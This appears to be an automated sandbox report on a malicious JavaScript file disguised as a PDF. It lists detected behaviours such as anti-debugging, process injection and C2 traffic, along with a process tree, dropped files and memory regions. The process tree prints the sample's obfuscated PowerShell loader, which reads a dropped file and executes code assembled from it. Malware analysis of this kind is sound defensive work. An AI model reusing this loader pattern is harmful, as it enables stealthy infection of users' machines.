Analysis
- max time kernel
148s - max time network
133s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260706-en - resource tags
- submitted
09/07/2026, 08:34
General
- Target OZMU# P6834·pdf.js
- Size 23KB
- Sample260709-kgetfsf16z
- SHA256 4672cfba22633af8f7ef8c69a05a39f8ab2018bcc6df1009c9cb0c643d33ed0f
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Drops desktop.ini file(s) 3 IoCs
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies Internet Explorer settings 1 TTPs 2 IoCs
- Modifies registry class 29 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 12 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\OZMU# P6834·pdf.js"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe" C:\Windows2⤵
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Drops desktop.ini file(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $Unfla='/app'+'data';$Nacketind=gc ($HOME+$Unfla+'/local/Gesims');$Abstinerem=$Nacketind[3669]+$Nacketind[3670]+$Nacketind[3671]; . ($Abstinerem) $Nacketind"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " $Unfla='/app'+'data';$Nacketind=gc ($HOME+$Unfla+'/local/Gesims');$Abstinerem=$Nacketind[3669]+$Nacketind[3670]+$Nacketind[3671]; . ($Abstinerem) $Nacketind"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
__PSScriptPolicyTest_liyqxmon.iln.ps1
Dagligvare.Tll
Gesims
memory/3268-42-0x0000000005060000-0x0000000005082000-memory.dmp
memory/3268-54-0x00000000063A0000-0x00000000063C2000-memory.dmp
memory/3268-58-0x0000000008970000-0x000000000CBCA000-memory.dmp
memory/3268-56-0x00000000082F0000-0x000000000896C000-memory.dmp
memory/3268-55-0x00000000076B0000-0x0000000007C6A000-memory.dmp
memory/3268-53-0x0000000006350000-0x000000000636A000-memory.dmp
memory/3268-52-0x0000000006E00000-0x0000000006E96000-memory.dmp
memory/3268-40-0x00000000025F0000-0x0000000002626000-memory.dmp
memory/3268-41-0x0000000005130000-0x000000000577A000-memory.dmp
memory/3268-50-0x0000000005E60000-0x0000000005EAC000-memory.dmp
memory/3268-43-0x0000000005780000-0x00000000057E6000-memory.dmp
memory/3268-44-0x00000000058E0000-0x0000000005946000-memory.dmp
memory/3268-47-0x0000000005950000-0x0000000005CAB000-memory.dmp
memory/3268-49-0x0000000005E30000-0x0000000005E4E000-memory.dmp
memory/4272-11-0x0000017AFC270000-0x0000017AFC27A000-memory.dmp
memory/4272-3-0x0000017AE3B80000-0x0000017AE3BA2000-memory.dmp
memory/4272-8-0x0000017AFC4F0000-0x0000017AFC5A2000-memory.dmp
memory/4272-35-0x0000017AFCBF0000-0x0000017AFCBFA000-memory.dmp
memory/4272-32-0x0000017AFCBE0000-0x0000017AFCBE6000-memory.dmp
memory/4272-16-0x0000017AFC2A0000-0x0000017AFC2BE000-memory.dmp
memory/4272-29-0x0000017AFCBD0000-0x0000017AFCBD8000-memory.dmp
memory/4272-26-0x0000017AFCBF0000-0x0000017AFCC0C000-memory.dmp
memory/4272-7-0x0000017AFC260000-0x0000017AFC27E000-memory.dmp
memory/4272-21-0x0000017AFC2B0000-0x0000017AFC2BA000-memory.dmp
memory/5380-61-0x0000000000400000-0x00000000005F1000-memory.dmp
memory/5380-67-0x0000000000400000-0x00000000005F1000-memory.dmp